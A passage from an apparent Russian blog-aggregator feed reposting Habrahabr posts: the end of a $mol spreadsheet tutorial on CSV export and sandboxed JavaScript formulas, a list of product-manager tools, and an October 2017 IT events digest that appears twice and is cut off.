                for( let col = 0 ; col < dims.cols ; ++ col ) {
                    row_data[ col ] = String( this.result({ row , col : this.number2string( col ) }) )
                }
            }
        
            const content = table.map( row => row.map( val => `"${ val.replace( /"/g , '""' ) }"` ).join( ';' ) ).join( '\n' )
        
            this.download_uri( `data:text/csv;charset=utf-8,${ encodeURIComponent( content ) }` )
        
            $mol_defer.run()
        }

        После установки новой ссылки, мы форсируем запуск отложенных задач, чтобы произошёл рендеринг в dom-дерево до выхода из текущего обработчика событий. Нужно это для того, чтобы браузер подхватил свежесгенерированную ссылку, а не предлагал скачать предыдущую версию файла.


        Формулы


        Самое главное в электронных таблицах — не сами данные, а формулы, через которые можно связывать значения одних ячеек со значениями других. При этом за актуальностью вычисляемых значений электронная таблица следит сама, реактивно обновляя значения в ячейках зависимых от редактируемой в данный момент пользователем.


        В нашем случае пользователь всегда редактирует именно формулу. Даже если просто вводит текст — это на самом деле формула, возвращающая этот текст. Но если он начнёт свой ввод с символа =, то сможет использовать внутри различные математические выражения и, в том числе, обращаться к значениям других ячеек.


        Реализовывать парсинг и анализ выражений — довольно сложная задача, а вечеринке уже мерещится ДедЛайн, так что мы не долго думая воспользуемся всей мощью JavaScript и позволим пользователю писать любые JS выражения. Но, чтобы он случайно не отстрелил ногу ни себе, ни кому-то ещё, будем исполнять его выражение в песочнице $mol_func_sandbox, которая ограничит мощь JavaScript до разрешённых нами возможностей:


        @ $mol_mem
        sandbox() {
            return new $mol_func_sandbox( Math , {
                'formula' : this.formula.bind( this ) ,
                'result' : this.result.bind( this ) ,
            } )
        }

        Как видите, мы разрешили пользователю использовать математические функции и константы, а также предоставили пару функций: для получения формулы ячейки и вычисленного значения ячейки по её идентификатору.


        Песочница позволяет нам преобразовывать исходный код выражения в безопасные функции, которые можно безбоязненно вызывать.


        @ $mol_mem_key
        func( id : { row : number , col : string } ) {
            const formula = this.formula( id )
            if( formula[0] !== '=' ) return ()=> formula
        
            const code = 'return ' + formula.slice( 1 )
            .replace( /@([A-Z]+)([0-9]+)\b/g , 'formula({ row : $2 , col : "$1" })' )
            .replace( /\b([A-Z]+)([0-9]+)\b/g , 'result({ row : $2 , col : "$1" })' )
        
            return this.sandbox().eval( code )
        }

        Заставлять пользователя писать вызов функции result вручную — слишком жестоко. Поэтому мы слегка изменяем введённую формулу, находя комбинации символов, похожие на кодовые имена ячеек вида AB34, и заменяя их на вызовы result. Дополнительно, вместо значения, можно будет получить формулу из ячейки, приписав спереди собачку: @AB34. Создание таких функций — не бесплатно, так что если в ячейке у нас просто текст, а не выражение, то мы так его и возвращаем безо всяких песочниц.


        Осталось дело за малым — реализовать свойство result() с дополнительной постобработкой для гибкости:


        @ $mol_mem_key
        result( id : { row : number , col : string } ) {
            const res = this.func( id ).call()
            if( res === undefined ) return ''
            if( res === '' ) return ''
            if( isNaN( res ) ) return res
            return Number( res )
        }

        Тут мы избавились от возможного значения undefined, а так же добавили преобразование строк похожих на числа в собственно числа.


        Финальный аккорд


        На этом основная программа нашей вечеринки подходит к концу. Полный код приложения $mol_app_calc доступен на ГитХабе. Но прошу вас не спешить расходиться. Давайте каждый возьмёт по электронной таблице в свои руки и попробует сделать с ней что-нибудь эдакое. Вместе у нас может получиться интересная галерея примеров её использования. Итак...


        Оценка дальнейшего развития $mol_app_calc


        Кредитный калькулятор


        a*x**2 + b*x + c = 0

        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/338804/


        Метки:  

        20 полезных сервисов для продакт-менеджеров

        Среда, 27 Сентября 2017 г. 09:40 + в цитатник
        blognetology сегодня в 09:40 Управление

        20 полезных сервисов для продакт-менеджеров

          Мы в редакции «Нетологии» вместе с преподавателями курса «Руководитель
          digital-продукта
          » собрали подборку сервисов, которые помогут тимлиду, продакту или проджекту наладить работу в команде и сделать свою жизнь лучше. Возможно, многие из них будут вам знакомы — по рабочему процессу или по слухам. Будем рады, если в комментариях вы предложите свои варианты или расскажете, чем понравился/не понравился тот или иной сервис.


          Когда каждый день занимаешься не только текучкой, но и вещами, направленными на улучшение работы продукта, внедрение фич и искоренение багов, то волей-неволей хочется сделать жизнь проще. Сделать так, чтобы команда работала сплоченнее, были видны все этапы работы и не было бы развала-схождения в каждую минуту работы.



          В таком случае приходят на помощь сервисы. Мы опросили четырех преподавателей курса «Руководитель digital-продукта» и сделали подборку сервисов, которые облегчат жизнь и помогут наладить эффективную работу.

          Пять сервисов Кати Текуновой — руководителя сервиса «Рамблер/платформа» в Rambler&Co


          1. Excel — использует для всего: от вычислений до сбора аналитики. Удобно, всем известно, работает на всех устройствах. Сейчас его отлично заменяют Гугл Таблицы, что намного удобнее. Можно открывать и закрывать доступ, делать все то же самое, что и в Excel, функциональность не ограничена, а доступ к файлу возможен из любой точки мира. Плюс возможность редактирования, комментирования и даже постановки задач через @.

          2. Jira — для постановки и отслеживания задач незаменима. Считается одним из лучших продуктов для agile-команд. В ней можно создавать пользовательские истории и задачи, планировать спринты и распределять задания по командам. Создавать подзадачи и распределять по отделам. Можно расставлять приоритеты, релизить продукты и быть уверенным, что информация останется под рукой. К тому же есть возможность создавать отчеты, визуализировать данные.
          К тому же можно оптимизировать работу, интегрируясь с Confluence, Bitbucket, Stride и сотнями других инструментов для разработки.



          Jira пользуются Airbnb, Spotify, Ebay, Cisco и многие другие.

          3. Confluence — создан для всей документации по продуктам: описания сервисов и продуктовые требования, техническая документация, описания релизов. Одним кликом интегрируется с Jira. Сделан той же командой Atlassian.



          Это тиражируемая вики-система для внутреннего использования организациями с целью создания единой базы знаний. Confluence любит Nasa, Docker и Lufthansa.

          4. Zeplin — для работы с макетами. Идеальное взаимодействие между дизайнером, продактом и фронтенд-разработкой. Больше никаких огромных количеств встреч, созвонов и так далее. Отлично работает со Скетч, Фотошопом. О Zeplin на Хабре можно прочесть тут.




          Zeplin пользуются Slack, Pinterest, Zendesk, MailChimp и множество других компаний.

          5. Balsamiq — для мокапов и прототипов. Очень удобен и интересен как инструмент. Имеет библиотеку пользовательского интерфейса. Имеется контроль версий, возможности для A/B-теста. Имеет расширения и помогает работать одновременно продуктологам, дизайнерам и фронтендерам.



          Balsamiq любят в Cisco, Zappos, Apple, Adobe, Ebay, Skype, Sony и других компаниях.

          Пять сервисов Михаила Карпова — менеджера по продукту во ВКонтакте


          1. Zeplin пропускаем, потому что оду ему спели выше. Разберем другие четыре сервиса.

          2. Как использовать Google Docs продакту? В нем удобно составлять роадмапы сервисов и сводить данные по статистике в Гугл Таблицах.

          3. Dropbox Paper — очень удобный инструмент чтобы вести продуктовую документацию по запускаемой функциональности. При этом он интегрируется со множеством других сервисов: от SoundCloud и Spotify до Youtube и Google Docs. При этом есть чаты и возможна совместная работа, что идеально для любого продакта.



          4. PrioriData — удобный инструмент для изучения конкурентов на мобильных платформах. Позволяет ранжировать ключевые слова, делать выгрузки и проверять расходы. И помогает исследовать рынок и развивать собственное приложение.



          5. Moqups — простой и комфортный сервис для быстрого прототипирования идей. Помогает команде работать над макетами, мокапами, прототипами и диаграммами. Все в одном: от дизайна до сотрудничества.

          Пять сервисов Ивана Замесина — менеджера по продукту в Chatfuel


          1. Лучший сервис последних двух лет — Notion.so. Это сервис организации информации и процессов как для команд, так и для личного использования. Он невероятно удобен для написания текстов, работы над проектами, ведения личного дешборда. Он заменил Evernote и все текстовые редакторы. Плюсик в карму за внимание к UX микродействий вроде добавления нового элемента. Кстати, в TestFlight сейчас крутится бета приложения под iOS и оно восхитительно!



          2. Sketch. Продакт должен уметь проектировать базовые пользовательские сценарии в интерфейсе и чтобы не отвлекать дизайнера уметь быстро собрать нужный интерфейс в Sketch из готовых компонентов. Применение: быстрые фиксы интерфейсных косяков или missing scenarios минуя дизайнера, корректировка текстов в макетах, прототипирование вместе с клиентом во время customer development.

          3. Trello. Незаменимый мультитул для продакта. Прелесть Trello в простоте и гибкости. С помощью Trello можно вести список фичереквестов от пользователей и удобно ранжировать их в течение времени, планировать работы команды на горизонте недель и месяцев, вести оперативную работу команды.



          4. Clear. Это банальный todo-app. Продакту не нужны due dates, группировка по проектам, теги, делегирование и прочие навороты. Главный атрибут для тудушки — минимизация накладных расходов на обращение к тудушке, а это значит что она должна постоянно висеть на экране. Clear одно из немногих no-UI туду-приложений и легко занимает любое отведённое ему место. Clear всегда висит на моём экране справа, занимая 25% экранной площади и экономит тонну времени и внимания.

          5. Zoom.us. Последняя команда была распределённой и конференс-коллы были настоящей болью. Skype нужно было постоянно перезапускать, часто он просто не работал или собеседники не слышали друг друга. Hangouts победил в номинации «самая идиотская организация групп», но никак не в номинации «удобен для использования в команде». Zoom.us единственный инструмент, который просто работает — у него хорошее качество картинки и звука, адекватный интерфейс и логика работы.

          Пять сервисов Микаэла Гелецяна — менеджера по продукту в «Детском мире» и «Кидзания Москва»


          1. Product Hunt используется для вдохновения, нахождения в тренде и проверки «а нету ли уже такого продукта?».

          2. Moqups — мокапы и прототипы, которые хранятся в вебе. Используется для иллюстрации требований. На любой проект можно дать ссылку. При этом хранение данных в облаке, удобно для работы с удаленной командой, неограниченное количество пользователей с одной подпиской. В общем, целая экосистема проектирования в одном инструменте.



          3. Mindmeister. Работает для продакта как карта памяти — лучший формат для структурирования любых данных. От встречи с заказчиком или стейкхолдером до фичей сайта.

          4. Usabilityhub — инструмент для того самого случая, когда нужно показать прототип настоящим людям, а искать — нет времени. А еще лучшая штука для удаленного тестирования пользователей. Сервис используют Amazon, Groupon, Hubspot, Nasa.

          5. Getabstract, чтобы читать выжимки из кучи книг, на которые бы не нашлось времени. Образование для продакта важно, потому что каждый день появляется что-то новое. А поспевать за временем, идеями и новыми веяниями надо.
          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338798/


          [Перевод] Иллюзия движения

          Среда, 27 Сентября 2017 г. 09:28 + в цитатник

          Дайджест IT событий на октябрь

          Среда, 27 Сентября 2017 г. 08:59 + в цитатник
          EverydayTools сегодня в 08:59 Разное

          Дайджест IT событий на октябрь

            Снова приближается конец месяца и приходит пора заполнять ежедневник и договариваться о командировочных. Посмотрим же, какая образовательно-развлекательная программа ожидает программистов из столицы и регионов в ближайшие несколько недель. Повышенная активность в сферах IoT и блокчейна, постепенно возвращающиеся с каникул хакатоны и некоторый спад в курсах и тренингах после сентябрьской лихорадки — такой прогноз вырисовывается у нас на октябрь.



            Всероссийский форум «Блокчейн: формула будущего»

            Когда: 1-3 октября
            Где: Уфа, ул. Менделеева, 158, ВДНХ-Экспо
            Условия участия: бесплатно, требуется регистрация

            Уфимский форум 5-в-1 по блокчейну отличается разнообразием форматов: здесь параллельно с привычными лекциями и выставкой финтех-продуктов пройдет также хакатон и два конкурса стартапов. Насыщенная трехдневная программа позволяет желающим поспеть везде — и посоревноваться за денежные призы, и послушать выступления экспертов, и оценить экспонаты.

            Курс «Основы построения фреймворка автоматизированного тестирования на HP UFT»

            Когда: 7 октября
            Где: Москва, 1-й Волоколамский проезд, 10, стр. 3
            Условия участия: Москва — 14 200 руб., Санкт-Петербург — 12 780 руб. Омск — 10 650 руб.

            Если вы QA-инженер и читаете это, возможно, стоит не пожалеть двух рабочих дней на освоение HP UFT. Краткий курс целиком посвящен искусству писать легко сопровождаемые, доступные, предназначенные для многоразового использования автоматизированные тесты. Достигается это путем подробного рассмотрения синаткиса VBS со всеми базовыми командами, принципов работы с объектами и применения классов в UFT, основ VBScript, параметризации и распознавания объектов и других премудростей. По завершению вы сможете добавить в свою коллекцию еще один сертификат.

            HackCV

            Когда: 7 октября
            Где: Санкт-Петербург, Большой Сампсониевский проспект, 61
            Условия участия: бесплатно

            Хакатон, на котором вы сможете воплотить мечту целой армии фантастов и вдохнуть жизнь в автомобиль при помощи технологии Computer Vision. Организаторы предложат командам ознакомиться с теоретическими материалами по нейросетям, поработать с библиотеками компьютерного зрения и специфическими для safety critical embedded system фреймворками и совместными усилиями научить автомобиль ездить так, чтобы в случае восстания машин он могу без проблем получить права. Требования к кандидатам включают знание C++ и хорошую математическую подготовку, опыт участия в подобных проектах опционален.

            Blockchain Club Moscow

            Когда: 10 октября
            Где: Москва, Павелецкая набережная, 2, стр. 2
            Условия участия: 800 руб.

            Небольшая встреча единомышленников для тех, кто спит и видит себя в блокчейне. Спикеры — представители сектора с соответствующими компетенциями — поднимут три, пожалуй, самые животрепещущие темы: как вообще приступить к проведению ICO, какой должна быть команда, чтобы осилить это процесс, и все, что нужно знать о его юридической стороне.



            INTERNATIONAL BLOCKCHAIN FORUM

            Когда: 12 октября
            Где: Москва, Берсеневская набережная, 6, стр. 3, 6 этаж
            Условия участия: 14 700 руб.

            Тоже блокчейн, но помасштабнее. Эксперты из России и СНГ соберутся на крупнейшем отечественном форуме, чтобы обменяться мнениями касательно того, что происходит в сфере криптовалюты в данный момент и чего ждать от будущего. Программа включает пять основных блоков. Первый посвящен прогнозам, перспективам, подробному обзору последних новшеств и их влияния на рынок. В ходе второго блокчейн будет рассматриваться как способ получения прибыли: участники — и в первую очередь новички — смогут узнать о связанных с ICO рисках и сложностях, ознакомиться с чужим успешным и не успешным опытом и получить рекомендации от опытных игроков. Следующий блок отведен теме криптовалютных фондов, инвестиционных возможностей, которые они дают, правовых нюансов и обзора популярных вариантов в России и зарубежье. Далее речь пойдет о биржах и прочих площадках торговли, причем слушатели смогут не только взглянуть на нелегкую профессию трейдера изнутри, но и присоединиться к рядам торгующих, записавшись в школу, или же блеснуть талантами на особом конкурсе для начинающих, который будет проведен с рамках форума. Наконец, в заключение спикеры коснутся майнинга и познакомят аудиторию со спецпредложениями по формированию майнинг-пула.

            Форум GoTech

            Когда: 12 октября
            Где: Москва, Долгопрудненское шоссе, 3
            Условия участия: 3900 руб.

            Площадка — рай для стартапов, где можно послушать о том, как росли и добивались успеха предшественники, зондировать почву с инвесторами и журналистами, рассказывать о своем проекте и открывать новые возможности. Общая тема форума — развитие глобального бизнеса. Заявлен также конкурс проектов с рядом номинаций от крупных компаний, которые обеспечат победителям менторскую поддержку и ресурсы для роста.

            BIT-2017

            Когда: 12 октября
            Где: Новосибирск, ул. Ленина, 26
            Условия участия: бесплатно по итогам отбора

            Сибирское мероприятие на стыке бизнеса и IT предлагает сообществу обсудить, как современные технологии уживаются с меняющимися реалиями рынка и юридической системы. В докладах будут затрагиваться такие сферы, как облачное хранение, ЦОД, IoT, IP и другое.

            Pizza Pitch

            Когда: 12 октября
            Где: Москва, ул. Кирпичная, 33, стр. 2
            Условия участия: 200 руб.

            Рады сообщить, что сходка анонимных стартаперов от ВШЭ состоится и в октябре. Как и в первый раз, на повестке — презентации от тех, у кого есть идея, проект или проблема, общая дискуссия с советами от местных экспертов и пицца на закуску всего этого.



            Yappi Days’17

            Когда: 13 октября
            Где: Ярославль, Волжская набережная, 4
            Условия участия: от 400 руб.

            Ярославские программисты, работающие с Big Data, имеют возможность обменяться опытом с представителями крупных компаний (EPAM, JetBrains) на октябрьской Yappi Days. Речь войдет о современным технологиям в обработке данных и архитектуре ПО. Спикеры обещают поделиться лучшими практиками из своего опыта в докладах и вступить о слушателями в свободный диалог в экспертной зоне, а организаторы намекают на подарки участникам и прочие приятные бонусы.

            INDEX TECH

            Когда: 13 октября
            Где: Москва, ул. Мясницкая, 13, стр. 18
            Условия участия: 6000 руб.

            Интересная конференция по одному из самых болезненных вопросов в IT сообществе — вопросу совместной работы кадровиков и девов в процессе отбора и оценки соискателей. Организаторы оптимистично рассчитывают на цивилизованное обсуждение таких тем, как роли представителей HR и IT отделов в процессе, необходимый уровень технический знаний для проводящего собеседования, стандартные и нестандартные каналы поиска кадров, правила составления вакансии, обучение на рабочем месте. Само собой, не обойдется и без примеров из жизни и, что особенно ценно, слово в ходе выступлений получат все три вовлеченные стороны.

            #UFADEVCONF

            Когда: 14 октября
            Где: Уфа, ул. Менделеева, 158
            Условия участия: бесплатно, требуется регистрация

            В рамках проекта «День Интерента» состоится первая уфимская IT-конференция, на которой местные и приглашенные специалисты смогут обсудить широкий круг тем, касающихся IT-сферы. Программа включает секции Frontend (локализация, JavaScript, MobX, шаблонизация), Backend (Postgres, PHP, практические кейсы) и Mobile (повышение производительности, кроссплатформенность, Vision framework). В регулярных перерывах между докладами аудитории предлагается заняться нетворкингом и оценить заготовленную организаторами развлекательную программу.

            #ITSUBBOTNIK: TECHNICAL MIX

            Когда: 14 октября
            Где: Рязань, Первомайский проспект, 54, конгресс-отель «АМАКС»
            Условия участия: бесплатно, требуется регистрация

            Микс — это не для красного словца, рязанская конференция действительно обещает крайне разношерстный набор тем. Что-нибудь интересное найдется для программиста любого профиля: тут и DevOps, и реактивное программирование, веб-разработка рука об руку с machine learning, да и тестирование не осталось в стороне. Докладчики — специалисты из компании EPAM.

            SeedStars Moscow

            Когда: 14 октября
            Где: Москва, ул. Мясницкая, 13 стр. 18
            Условия участия: бесплатно, требуется регистрация

            Ощущаете себя лучшим стартапом в Европе? Бывает, но если серьезно: не упустите свой шанс доказать это международной экспертной комиссии и получить миллион на развитие. В ходе русского этапа Seedstars World будут отобраны 10 финалистов, которые отправятся в Швейцарию на заключительный этап, бороться за приз и мировую славу. К участию приглашаются стратапы из сфер AgriTech, IoT, EdTech, FinTech, TravelTech, HealthTech, AdTech не старше двух лет, с объемом инвестиций не более 500 000 $ и обязательным наличием MVP.

            Найти IT

            Когда: 14 октября
            Где: Санкт-Петербург, набережная Обводного канала, 60, креативное пространство «ТКАЧИ»
            Условия участия: бесплатно

            Отличная возможность для разработчиков культурной столицы, заинтересованных в новых карьерных возможностях, людей посмотреть, себя показать и между делом поиграть с роботами. На площадке будут присутствовать представители ведущих отечественных IT-компаний, которые будут рады рассказать о вакансиях и стажировках и оценить ваши компетенции. Помимо общения с возможными работодателями посетители могут принять участие в бесплатных лекциях и мастер-классах, посетить game зону и выставку робототехники.

            Курсы «Базы данных. SQL. Junior», «Разработка кроссплатформенных мобильных приложений», «Разработка highload приложений на PHP»

            Когда: 16-31 октября
            Где: Ижевск, ул. 30 лет Победы, 2
            Условия участия: бесплатно, требуется регистрация

            В октябре в рамках проекта IT Univer в Ижевске планируется три курса для студентов и начинающих программистов, которые хотят получить прикладные знания и глубже вникнуть в выбранную сферу. Подробная информация об организаторах и программе каждого представлена на странице проекта.

            Cloud Services Russia 2017

            Когда: 17 октября
            Где: Москва, ул. Тверская, д. 26/1, отель «Марриотт Москва Гранд Отель»
            Условия участия: 13 500 руб.

            Облачное хранение данных — тема неиссякаемая, что доказывает и очередная тематическая конференция от COMNEWS. Дискуссия будет вращаться вокруг последних тенденций на рынке, умного хранения данных в свете новых разработок в области искусственного интеллекта и Интернета вещей, совмещения частных и публичных сред и вытекающих вопросов безопасности, специфики применения облака в ПО. Также будут рассмотрены некоторые одобренные экспертами решения и технологии, приведены случаи из практики успешных компаний.

            DevOops

            Когда: 20 октября
            Где: Санкт-Петербург, ул. Стартовая, 6, литера А
            Условия участия: от 14 000 руб.

            Первая конференция, целиком и полностью сосредоточенная на DevOps и всем том, что он привносит в нашу жизнь. В частности: оркестрация, виртуализация, мониторинг и аудит приложений, секрьюти. Разделенные по трем трэкам, выступления будут объединять широкую проблематику с решением частных проблем, а теорию — с реальными кейсами. Общение с русскими и зарубежными экспертами продолжится в специально оборудованных дискуссионных зонах.



            SECR 2017

            Когда: 20-22 октября
            Где: Санкт-Петербург, пр. Медиков, 3, к.1, Конгресс-центр ClubHouse
            Условия участия: от 17 250 руб.

            Конференция «полного цикла» для команд, работающих над ПО — освещение получат практически все аспекты процесса создания и выпуска на рынок IT-продукта. Выступления и мастер-классы от русских и зарубежных представителей действительно авторитетных компаний разбиты на три дня и пять потоков и покрывают все от собственно разработки, тестирования и UX дизайна до DevOps и управления проектами.

            SmartData

            Когда: 21 октября
            Где: Санкт-Петербург, ул. Стартовая, д. 6 литера А
            Условия участия: 14 000 руб.

            Октябрь в сфере IT оказался урожаен на и большие данные — встречайте еще одну конференцию на эту тему. SmartData предлагает взглянуть на big data как на уже сложившуюся, зрелую индустрию и проследить, как наработанный стек решений справляется с реальными задачами, насколько сейчас актуальны те или иные технологии.

            Russian Вlockchain Week

            Когда: 26-27 октября
            Где: Москва, Стремянный пер., 36
            Условия участия: 18 000 руб. (23 после 28.09)

            Три дня блокчейна в самых разных проявлениях: здесь будут доклады от трех десятков экспертов со всего света, шоу и выставка, на которых представят свои проекты пятьдесят молодых команд, открытые для сотрудничества инвесторы и поставщики и вечеринка Blockchain.Night как завершающий аккорд в неформальной обстановке. Круг тем знакомый — криптовалюты, майнинг, ICO, законодательство.



            MBLTdev 2017

            Когда: 27 октября
            Где: Москва, Берсеневская наб. 6, строение 3
            Условия участия: 7 500 руб.

            То, чего, вероятно, ждали все мобильные разработчики — общий сбор специалистов, от столичных до экспортированных ради такого случая из Кремниевой долины, для обсуждения последних трендов и вечных проблем разработки на iOS и Android. В темах фигурируют AR, архитектура, инструменты разработки, производительность и скорость, а также викторины и прочие интригующие мероприятия.

            Workshop. IoT

            Когда: 28 октября
            Где: Москва, Берсеневская набережная, 6, стр.3
            Условия участия: 14 500 руб.

            Если вы еще не работали с интернетом вещей, ваш час настал. Воркшоп от Digital October в течение одного рабочего дня обещает не только заложить слушателям солидную теоретическую базу, но и провести их через процесс создания собственного IoT решения с облачной инфраструктурой. Этот курс будет полезен как разработчикам, которые хотят отработать новый навык под руководством опытного наставника, так и всем, кто просто заинтересован в лучшем понимании технологии и перспектив ее применения. Наконец, в качестве иллюстративного материала будет представлена мини-пивоварня, что, безусловно, говорит в пользу мероприятия.

            HackDay в Пензе

            Когда: 27-29 октября
            Где: Пенза, ул. Гагарина, 6
            Условия участия: 256 руб.

            Классический 48-часовой хакатон для жителей Пензы. С организаторов: оборудование для прототипирования физических вещей, эксперты-менторы, горячее питание и перекусы, рабочее пространство. С вас: чисто символический взнос, работоспособность, ноутбук, спальник, идея проекта и, опционально, команда. Награждение будет проходить в четырех номинациях (tech, hack,hardware, startup) и завершится вручением призов.

            IV международная выставка-конференция «Интернет вещей»

            Когда: 31 октября — 1 ноября
            Где: Москва, КВЦ Сокольники, павильон 7-А
            Условия участия: 10 000 руб.

            И еще одна конференция о нашумевших технологиях Интернета вещей, их применимости и преимуществах. Первый день отдан разбору существующих решений, как ПО, так и «железа» — их достоинствах, недостатках и потенциале в различных сферах. Во второй специалисты расскажут об опыте внедрения Industrial IoT и LifeStyle IoT разработок в рабочий процесс. В программе завялены доклады от таких игроков, как SAP, ФРИИ, DZ Systems, «Астрософт», Kaspersky Lab, KNX, Ассоциация Интернета вещей и другие.
            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/338730/


            Метки:  

            Дайджест IT событий на октябрь

            Среда, 27 Сентября 2017 г. 08:59 + в цитатник
            EverydayTools сегодня в 08:59 Разное

            Дайджест IT событий на октябрь

              Снова приближается конец месяца и приходит пора заполнять ежедневник и договариваться о командировочных. Посмотрим же, какая образовательно-развлекательная программа ожидает программистов из столицы и регионов в ближайшие несколько недель. Повышенная активность в сферах IoT и блокчейна, постепенно возвращающиеся с каникул хакатоны и некоторый спад в курсах и тренингах после сентябрьской лихорадки — такой прогноз вырисовывается у нас на октябрь.



              Всероссийский форум «Блокчейн: формула будущего»

              Когда: 1-3 октября
              Где: Уфа, ул. Менделеева, 158, ВДНХ-Экспо
              Условия участия: бесплатно, требуется регистрация

              Уфимский форум 5-в-1 по блокчейну отличается разнообразием форматов: здесь параллельно с привычными лекциями и выставкой финтех-продуктов пройдет также хакатон и два конкурса стартапов. Насыщенная трехдневная программа позволяет желающим поспеть везде — и посоревноваться за денежные призы, и послушать выступления экспертов, и оценить экспонаты.

              Курс «Основы построения фреймворка автоматизированного тестирования на HP UFT»

              Когда: 7 октября
              Где: Москва, 1-й Волоколамский проезд, 10, стр. 3
              Условия участия: Москва — 14 200 руб., Санкт-Петербург — 12 780 руб. Омск — 10 650 руб.

              Если вы QA-инженер и читаете это, возможно, стоит не пожалеть двух рабочих дней на освоение HP UFT. Краткий курс целиком посвящен искусству писать легко сопровождаемые, доступные, предназначенные для многоразового использования автоматизированные тесты. Достигается это путем подробного рассмотрения синаткиса VBS со всеми базовыми командами, принципов работы с объектами и применения классов в UFT, основ VBScript, параметризации и распознавания объектов и других премудростей. По завершению вы сможете добавить в свою коллекцию еще один сертификат.

              HackCV

              Когда: 7 октября
              Где: Санкт-Петербург, Большой Сампсониевский проспект, 61
              Условия участия: бесплатно

              Хакатон, на котором вы сможете воплотить мечту целой армии фантастов и вдохнуть жизнь в автомобиль при помощи технологии Computer Vision. Организаторы предложат командам ознакомиться с теоретическими материалами по нейросетям, поработать с библиотеками компьютерного зрения и специфическими для safety critical embedded system фреймворками и совместными усилиями научить автомобиль ездить так, чтобы в случае восстания машин он могу без проблем получить права. Требования к кандидатам включают знание C++ и хорошую математическую подготовку, опыт участия в подобных проектах опционален.

              Blockchain Club Moscow

              Когда: 10 октября
              Где: Москва, Павелецкая набережная, 2, стр. 2
              Условия участия: 800 руб.

              Небольшая встреча единомышленников для тех, кто спит и видит себя в блокчейне. Спикеры — представители сектора с соответствующими компетенциями — поднимут три, пожалуй, самые животрепещущие темы: как вообще приступить к проведению ICO, какой должна быть команда, чтобы осилить это процесс, и все, что нужно знать о его юридической стороне.



              INTERNATIONAL BLOCKCHAIN FORUM

              Когда: 12 октября
              Где: Москва, Берсеневская набережная, 6, стр. 3, 6 этаж
              Условия участия: 14 700 руб.

              Тоже блокчейн, но помасштабнее. Эксперты из России и СНГ соберутся на крупнейшем отечественном форуме, чтобы обменяться мнениями касательно того, что происходит в сфере криптовалюты в данный момент и чего ждать от будущего. Программа включает пять основных блоков. Первый посвящен прогнозам, перспективам, подробному обзору последних новшеств и их влияния на рынок. В ходе второго блокчейн будет рассматриваться как способ получения прибыли: участники — и в первую очередь новички — смогут узнать о связанных с ICO рисках и сложностях, ознакомиться с чужим успешным и не успешным опытом и получить рекомендации от опытных игроков. Следующий блок отведен теме криптовалютных фондов, инвестиционных возможностей, которые они дают, правовых нюансов и обзора популярных вариантов в России и зарубежье. Далее речь пойдет о биржах и прочих площадках торговли, причем слушатели смогут не только взглянуть на нелегкую профессию трейдера изнутри, но и присоединиться к рядам торгующих, записавшись в школу, или же блеснуть талантами на особом конкурсе для начинающих, который будет проведен с рамках форума. Наконец, в заключение спикеры коснутся майнинга и познакомят аудиторию со спецпредложениями по формированию майнинг-пула.

              Форум GoTech

              Когда: 12 октября
              Где: Москва, Долгопрудненское шоссе, 3
              Условия участия: 3900 руб.

              Площадка — рай для стартапов, где можно послушать о том, как росли и добивались успеха предшественники, зондировать почву с инвесторами и журналистами, рассказывать о своем проекте и открывать новые возможности. Общая тема форума — развитие глобального бизнеса. Заявлен также конкурс проектов с рядом номинаций от крупных компаний, которые обеспечат победителям менторскую поддержку и ресурсы для роста.

              BIT-2017

              Когда: 12 октября
              Где: Новосибирск, ул. Ленина, 26
              Условия участия: бесплатно по итогам отбора

              Сибирское мероприятие на стыке бизнеса и IT предлагает сообществу обсудить, как современные технологии уживаются с меняющимися реалиями рынка и юридической системы. В докладах будут затрагиваться такие сферы, как облачное хранение, ЦОД, IoT, IP и другое.

              Pizza Pitch

              Когда: 12 октября
              Где: Москва, ул. Кирпичная, 33, стр. 2
              Условия участия: 200 руб.

              Рады сообщить, что сходка анонимных стартаперов от ВШЭ состоится и в октябре. Как и в первый раз, на повестке — презентации от тех, у кого есть идея, проект или проблема, общая дискуссия с советами от местных экспертов и пицца на закуску всего этого.



              Yappi Days’17

              Когда: 13 октября
              Где: Ярославль, Волжская набережная, 4
              Условия участия: от 400 руб.

              Ярославские программисты, работающие с Big Data, имеют возможность обменяться опытом с представителями крупных компаний (EPAM, JetBrains) на октябрьской Yappi Days. Речь войдет о современным технологиям в обработке данных и архитектуре ПО. Спикеры обещают поделиться лучшими практиками из своего опыта в докладах и вступить о слушателями в свободный диалог в экспертной зоне, а организаторы намекают на подарки участникам и прочие приятные бонусы.

              INDEX TECH

              Когда: 13 октября
              Где: Москва, ул. Мясницкая, 13, стр. 18
              Условия участия: 6000 руб.

              Интересная конференция по одному из самых болезненных вопросов в IT сообществе — вопросу совместной работы кадровиков и девов в процессе отбора и оценки соискателей. Организаторы оптимистично рассчитывают на цивилизованное обсуждение таких тем, как роли представителей HR и IT отделов в процессе, необходимый уровень технический знаний для проводящего собеседования, стандартные и нестандартные каналы поиска кадров, правила составления вакансии, обучение на рабочем месте. Само собой, не обойдется и без примеров из жизни и, что особенно ценно, слово в ходе выступлений получат все три вовлеченные стороны.

              #UFADEVCONF

              Когда: 14 октября
              Где: Уфа, ул. Менделеева, 158
              Условия участия: бесплатно, требуется регистрация

              В рамках проекта «День Интерента» состоится первая уфимская IT-конференция, на которой местные и приглашенные специалисты смогут обсудить широкий круг тем, касающихся IT-сферы. Программа включает секции Frontend (локализация, JavaScript, MobX, шаблонизация), Backend (Postgres, PHP, практические кейсы) и Mobile (повышение производительности, кроссплатформенность, Vision framework). В регулярных перерывах между докладами аудитории предлагается заняться нетворкингом и оценить заготовленную организаторами развлекательную программу.

              #ITSUBBOTNIK: TECHNICAL MIX

              Когда: 14 октября
              Где: Рязань, Первомайский проспект, 54, конгресс-отель «АМАКС»
              Условия участия: бесплатно, требуется регистрация

              Микс — это не для красного словца, рязанская конференция действительно обещает крайне разношерстный набор тем. Что-нибудь интересное найдется для программиста любого профиля: тут и DevOps, и реактивное программирование, веб-разработка рука об руку с machine learning, да и тестирование не осталось в стороне. Докладчики — специалисты из компании EPAM.

              SeedStars Moscow

              Когда: 14 октября
              Где: Москва, ул. Мясницкая, 13 стр. 18
              Условия участия: бесплатно, требуется регистрация

